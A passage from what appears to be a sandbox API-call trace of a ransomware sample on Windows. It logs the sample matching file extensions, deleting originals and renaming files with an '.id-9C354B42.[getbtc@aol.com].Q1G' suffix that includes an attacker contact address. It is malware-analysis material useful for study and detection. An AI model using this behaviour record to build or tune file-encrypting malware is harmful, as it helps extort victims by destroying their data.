lpNumberOfBytesWritten=0x2f1fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0236.247] SetEndOfFile (hFile=0x28c) returned 1 [0236.248] CloseHandle (hObject=0x28c) returned 1 [0236.248] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.248] SetEndOfFile (hFile=0x290) returned 1 [0236.249] CloseHandle (hObject=0x290) returned 1 [0236.249] SetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x80) returned 1 [0236.249] DeleteFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 1 [0236.249] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.249] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.249] lstrlenW (lpString=".doc") returned 4 [0236.249] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0236.249] lstrlenW (lpString=".docx") returned 5 [0236.249] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0236.249] lstrlenW (lpString=".pdf") returned 4 [0236.250] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".xls") returned 4 [0236.250] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".xlsx") returned 5 [0236.250] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0236.250] lstrlenW (lpString=".ppt") returned 4 [0236.250] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString=".zip") returned 4 [0236.250] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".rar") returned 4 [0236.250] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".bz2") returned 4 [0236.250] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0236.250] lstrlenW (lpString=".7z") returned 3 [0236.250] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString=".dbf") returned 4 [0236.250] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString=".1cd") returned 4 [0236.250] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString=".jpg") returned 4 [0236.250] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.250] lstrlenW (lpString=".doc") returned 4 [0236.250] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0236.250] lstrlenW (lpString=".docx") returned 5 [0236.250] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0236.250] lstrlenW (lpString=".pdf") returned 4 [0236.250] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".xls") returned 4 [0236.250] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0236.250] lstrlenW (lpString=".xlsx") returned 5 [0236.250] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0236.251] lstrlenW (lpString=".ppt") returned 4 [0236.251] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0236.251] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.251] lstrlenW (lpString=".zip") returned 4 [0236.251] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0236.251] lstrlenW (lpString=".rar") returned 4 [0236.251] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0236.251] lstrlenW (lpString=".bz2") returned 4 [0236.251] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0236.251] lstrlenW (lpString=".7z") returned 3 [0236.251] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0236.251] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.251] lstrlenW (lpString=".dbf") returned 4 [0236.251] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0236.251] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.251] lstrlenW (lpString=".1cd") returned 4 [0236.251] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0236.251] lstrlenW (lpString="C:\\bootex.log") returned 13 [0236.251] lstrlenW (lpString=".jpg") returned 4 [0236.251] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0236.251] Sleep (dwMilliseconds=0x64) [0236.396] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.400] lstrlenW (lpString="ipsptg.xml") returned 10 [0236.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.707] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2240) returned 1 [0236.707] CloseHandle (hObject=0x314) returned 1 [0236.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0236.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.707] lstrlenW (lpString=".doc") returned 4 [0236.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.707] lstrlenW (lpString=".docx") returned 5 [0236.707] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0236.707] lstrlenW (lpString=".pdf") returned 4 [0236.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.707] lstrlenW (lpString=".xls") returned 4 [0236.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.707] lstrlenW (lpString=".xlsx") returned 5 [0236.707] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0236.707] lstrlenW (lpString=".ppt") returned 4 [0236.707] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.707] lstrlenW (lpString=".zip") returned 4 [0236.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.708] lstrlenW (lpString=".rar") returned 4 [0236.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString=".bz2") returned 4 [0236.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString=".7z") returned 3 [0236.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString=".dbf") returned 4 [0236.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString=".1cd") returned 4 [0236.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString=".jpg") returned 4 [0236.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString=".doc") returned 4 [0236.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString=".docx") returned 5 [0236.708] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0236.708] lstrlenW (lpString=".pdf") returned 4 [0236.708] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString=".xls") returned 4 [0236.708] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString=".xlsx") returned 5 [0236.708] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0236.708] lstrlenW (lpString=".ppt") returned 4 [0236.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.708] lstrlenW (lpString=".zip") returned 4 [0236.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.708] lstrlenW (lpString=".rar") returned 4 [0236.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.709] lstrlenW (lpString=".bz2") returned 4 [0236.709] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.709] lstrlenW (lpString=".7z") returned 3 [0236.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.709] lstrlenW (lpString=".dbf") returned 4 [0236.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.709] lstrlenW (lpString=".1cd") returned 4 [0236.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0236.709] lstrlenW (lpString=".jpg") returned 4 [0236.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.709] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.709] lstrlenW (lpString="ipssrb.xml") returned 10 [0236.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.709] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2568) returned 1 [0236.709] CloseHandle (hObject=0x314) returned 1 [0236.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0236.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString=".doc") returned 4 [0236.710] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString=".docx") returned 5 [0236.710] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0236.710] lstrlenW (lpString=".pdf") returned 4 [0236.710] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString=".xls") returned 4 [0236.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString=".xlsx") returned 5 [0236.710] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0236.710] lstrlenW (lpString=".ppt") returned 4 [0236.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString=".zip") returned 4 [0236.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.710] lstrlenW (lpString=".rar") returned 4 [0236.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString=".bz2") returned 4 [0236.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString=".7z") returned 3 [0236.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString=".dbf") returned 4 [0236.710] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString=".1cd") returned 4 [0236.710] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.710] lstrlenW (lpString=".jpg") returned 4 [0236.710] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString=".doc") returned 4 [0236.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString=".docx") returned 5 [0236.711] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0236.711] lstrlenW (lpString=".pdf") returned 4 [0236.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString=".xls") returned 4 [0236.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString=".xlsx") returned 5 [0236.711] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0236.711] lstrlenW (lpString=".ppt") returned 4 [0236.711] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString=".zip") returned 4 [0236.711] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.711] lstrlenW (lpString=".rar") returned 4 [0236.711] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString=".bz2") returned 4 [0236.711] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString=".7z") returned 3 [0236.711] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString=".dbf") returned 4 [0236.711] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString=".1cd") returned 4 [0236.711] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61 [0236.711] lstrlenW (lpString=".jpg") returned 4 [0236.711] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.711] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.712] lstrlenW (lpString="ipssrl.xml") returned 10 [0236.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.712] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2596) returned 1 [0236.712] CloseHandle (hObject=0x314) returned 1 [0236.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0236.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.712] lstrlenW (lpString=".doc") returned 4 [0236.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.712] lstrlenW (lpString=".docx") returned 5 [0236.712] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0236.712] lstrlenW (lpString=".pdf") returned 4 [0236.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.712] lstrlenW (lpString=".xls") returned 4 [0236.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.712] lstrlenW (lpString=".xlsx") returned 5 [0236.712] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0236.712] lstrlenW (lpString=".ppt") returned 4 [0236.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".zip") returned 4 [0236.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.713] lstrlenW (lpString=".rar") returned 4 [0236.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString=".bz2") returned 4 [0236.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString=".7z") returned 3 [0236.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".dbf") returned 4 [0236.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".1cd") returned 4 [0236.713] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".jpg") returned 4 [0236.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".doc") returned 4 [0236.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString=".docx") returned 5 [0236.713] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0236.713] lstrlenW (lpString=".pdf") returned 4 [0236.713] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString=".xls") returned 4 [0236.713] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString=".xlsx") returned 5 [0236.713] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0236.713] lstrlenW (lpString=".ppt") returned 4 [0236.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.713] lstrlenW (lpString=".zip") returned 4 [0236.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.713] lstrlenW (lpString=".rar") returned 4 [0236.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.714] lstrlenW (lpString=".bz2") returned 4 [0236.714] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.714] lstrlenW (lpString=".7z") returned 3 [0236.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.714] lstrlenW (lpString=".dbf") returned 4 [0236.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.714] lstrlenW (lpString=".1cd") returned 4 [0236.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0236.714] lstrlenW (lpString=".jpg") returned 4 [0236.714] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.714] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0236.714] lstrlenW (lpString="ipssve.xml") returned 10 [0236.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.714] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2520) returned 1 [0236.714] CloseHandle (hObject=0x314) returned 1 [0236.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0236.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString=".doc") returned 4 [0236.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString=".docx") returned 5 [0236.715] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0236.715] lstrlenW (lpString=".pdf") returned 4 [0236.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString=".xls") returned 4 [0236.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString=".xlsx") returned 5 [0236.715] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0236.715] lstrlenW (lpString=".ppt") returned 4 [0236.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString=".zip") returned 4 [0236.715] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.715] lstrlenW (lpString=".rar") returned 4 [0236.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString=".bz2") returned 4 [0236.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString=".7z") returned 3 [0236.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString=".dbf") returned 4 [0236.715] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString=".1cd") returned 4 [0236.715] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.715] lstrlenW (lpString=".jpg") returned 4 [0236.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.716] lstrlenW (lpString=".doc") returned 4 [0236.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString=".docx") returned 5 [0236.716] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0236.716] lstrlenW (lpString=".pdf") returned 4 [0236.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString=".xls") returned 4 [0236.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString=".xlsx") returned 5 [0236.716] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0236.716] lstrlenW (lpString=".ppt") returned 4 [0236.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0236.716] lstrlenW (lpString=".zip") returned 4 [0236.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.716] lstrlenW (lpString=".rar") returned 4 [0236.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString=".bz2") returned 4 [0236.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.716] lstrlenW (lpString=".7z") 